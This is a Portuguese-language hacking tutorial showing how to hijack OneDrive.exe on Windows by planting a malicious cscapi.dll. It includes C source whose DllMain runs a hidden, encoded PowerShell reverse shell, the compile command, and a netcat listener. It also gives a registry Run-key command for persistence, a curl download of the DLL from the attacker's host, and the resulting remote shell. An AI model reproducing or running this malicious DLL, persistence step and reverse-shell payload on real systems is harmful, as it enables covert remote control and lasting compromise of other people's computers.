Autor: @ferreiraklet
─────────[ ★ l33t's g00 ★ ]───────── ,-. _,---._ __ / \ / ) .-' `./ / \ ( ( ,' `/ /| \ `-" \'\ / | `. , \ \ / | /`. ,'-`----Y | ( ; | ' | ,-. ,-' | / | | ( | @ferreira | / ) | \ `.___________|/ `--' `--' ★★★★★★ ┌───────────────Sumario────────────────┐ │ │ │ 1. Conceito │ │ - O que é dll │ │ - O que é Dll hijacking │ │ - Encontrando dll não existente │ │ - Explorando exe nativo do Win │ │ 2. Criando DLL │ │ 3. H4nds 0n: │ │ - Reverse Shell │ │ - Coletando Informações │ │ - reg add │ │ │ └──────────────────────────────────────┘ ──[ Conceito ]── O que é Dll? Dll, ou "Dynamic Link Library", é um recurso criado pelo Windows, uma bliblioteca dinâmica que serve para armazenar código, dados, ou recursos, usados por executáveis. Podemos gerar uma dll com código C, Isso será falado no capítulo seguinte. O que é Dll hijacking? Dll Hijacking, apesar de parecer uma técnica complexa, ela é mais simples do que parece. Essa técnica consiste em sequestrar uma dll ( existente ou não existente ), trocar uma dll, ou inserir código em uma dll existente, a fim de que, quando o executável responsável por ela executar, chamar a dll com nosso código malicioso inserido. Encontrando dll não existente Como mencionado anteriormente, é também possível injetar código em dll's existentes, no entanto, não abordarei essa técnica nesse paper, uma vez que deixaria este paper muito grande, e adicionaria possíveis riscos de quebrar alguma dll. Logo, o approach será encontrar uma dll não existente. Para encontrarmos uma call para uma dll não existente, podemos usar o procmon, conhecido como Process Monitor. - O Process Monitor é um recurso da Microsoft, link para download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Após abrir o Procmon, primeiro devemos aplicar um filtro, especificando o .exe que queremos monitorar - clique na aba Filter -> Filter -> Ao lado de "is", insira o nome do executável, selecione a opção include, e conclua clicando em ok. - Agora o Procmon irá somente verificar o processo mencionado. - Abra o executável, e procure pelas chamadas de dll, se encontrar alguma dll chamada pelo executável que não exista, "x.dll NOT FOUND", o ataque pode ser realizado O .exe pode ser qualquer um, uma vez que o ele procura uma dll não existente, podemos abusar disso para obter persistence em outras maquinas que possuírem esse mesmo .exe Explorando Executável nativo do Windows Com certeza você já deve ter visto o OneDrive, aquele programinha que abre com o Windows que te enche o saco, e o faz fechar sempre que o Windows iniciar. O Nesse paper, a persistence sera feita em cima do OneDrive.exe, por ele fazer call para uma dll que não existe em seu diretório, dessa maneira, iremos criar uma dll com o mesmo nome da qual o executável "OneDrive.exe" chama, que ira trigar o nosso payload malicioso quando ele executar. A dll que o OneDrive.exe chama é a "cscapi.dll" Porém, se você notar, não existe ela em seu diretório local. Assim, criaremos uma dll com código malicioso e colocaremos em seu diretório local. ──[ Criando a DLL Maliciosa ]── !kl@ferreira ~/papers$ cat dll.c #includeBOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: //MessageBox(NULL, "test", "test2", MB_ICONERROR | MB_OK); message box with test message system("powershell -nop -w hidden -ep bypass -enc JABKACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAG..."); break; } return TRUE; } Dentro da funcao system() coloque seu payload para reverse shell Notas: - O payload inserido contem o ip 192.168.1.7 como lhost - 80 como lport Compilando a DLL !kl@ferreira ~/papers$ x86_64-w64-mingw32-gcc-win32 dll.c -o cscapi.dll -shared ──[ H4nds 0n ]── Primeiramente, vamos pegar shell no windows como primeiro accesso. !k@ferreira ~/papers$ nc -lnvp 443 listening on [any] 443 ... connect to [192.168.1.7] from (UNKNOWN) [192.168.1.3] 29418 Copyright (C) 2022 Microsoft Corporation. All rights reserved. C:\Users\ferreira> Workflow: 1. Executar payload com reg add para que o OneDrive.exe sempre seja executado na maquina quando o usuario logar 2. Colocar nossa dll nomeada de "cscapi.dll" na pasta do OneDrive 3. Executar o OneDrive.exe ( fechar ele antes se estiver aberto ) 4. B00m!! C:\Users\ferreira>powershell -c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Onedrive2 /t REG_SZ /d "C:\Users\ferreira\AppData\Local\Microsoft\OneDrive\OneDrive.exe" A operação foi concluída com êxito. Agora, precisamos baixar nossa dll, e enviar para a pasta do OneDrive C:\Users\ferreira>cd C:\Users\ferreira\AppData\Local\Microsoft\OneDrive\ C:\Users\ferreira\AppData\Local\Microsoft\Onedrive>cmd.exe /c "curl 192.168.1.7:80/cscapi.dll --output cscapi.dll" C:\Users\ferreira\AppData\Local\Microsoft\OneDrive> dir Diretório: C:\Users\ferreira\AppData\Local\Microsoft\OneDrive Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 27/01/2023 15:26 23.007.0109.0004 d----- 27/01/2023 15:26 EBWebView d----- 25/10/2021 22:46 ListSync d----- 27/01/2023 15:26 LogoImages d----- 25/10/2021 22:46 logs d----- 14/10/2020 09:47 settings d----- 18/08/2020 07:50 setup d----- 25/01/2023 15:41 StandaloneUpdater d----- 28/01/2023 11:10 Update -a---- 28/01/2023 12:29 87028 cscapi.dll -a---- 27/01/2023 15:26 2627968 OneDrive.exe -a---- 27/01/2023 15:26 344 OneDrive.VisualElementsManifest.xml -a---- 27/01/2023 15:26 4184976 OneDriveStandaloneUpdater.exe -a---- 27/01/2023 15:26 18671464 Resources.pri Executaremos o OneDrive -> C:\Users\ferreira\AppData\Local\Microsoft\OneDrive>start OneDrive.exe !kl@ferreira ~/papers$ nc -lnvp 80 listening on [any] 80 ... connect to [192.168.1.7] from (UNKNOWN) [192.168.1.3] 1410 Copyright (C) 2022 Microsoft Corporation. All rights reserved. C:\Users\ferreira\AppData\Local\Microsoft\OneDrive> B00m!! pwn3d w1th dll h1j4ck1ng Gr33tz f0r 4ll END ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣾⣿⣿⣿⣿⣿⡏⡆⠀ ⠀⠀⠀⠀⠀⠀⠀⣠⣾⠿⠛⠋⠉⠉⠉⠈⠉⠛⠛⢳⡇⠀ ⠀⠀⠀⠀⠀⢀⠞⠋⠀⠀⣷⣤⣀⣀⣀⠀⠀⠀⠀⠸⡇⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣢⠄⠀⠀⡇⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⡀⠀⠀⡇⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⡇⠀⣀⣇⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣧⣴⣾⣻⡆ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣸⣿⡇ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣭⣾⣿⣿⣿⠉⣛⢿⠿⠁ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣷⣶⣿⣻⣿⣆⠙⣿⠀⠀ "H4ck f0r l1v1ng" - ferreira ⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⡿⣸⣔⣿⣿⡄⣿⠀⠀ ⠀⠀⠀⠀⢀⣠⣶⣿⣿⣿⣿⣿⣿⣧⣼⣿⣿⣿⣿⡏⠀⠀ ⠐⠶⠶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠇⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⢤⢤⠤⡤⡤⠄⢠⣤⡄⠠⠄⡤⣤⣤⡠⠄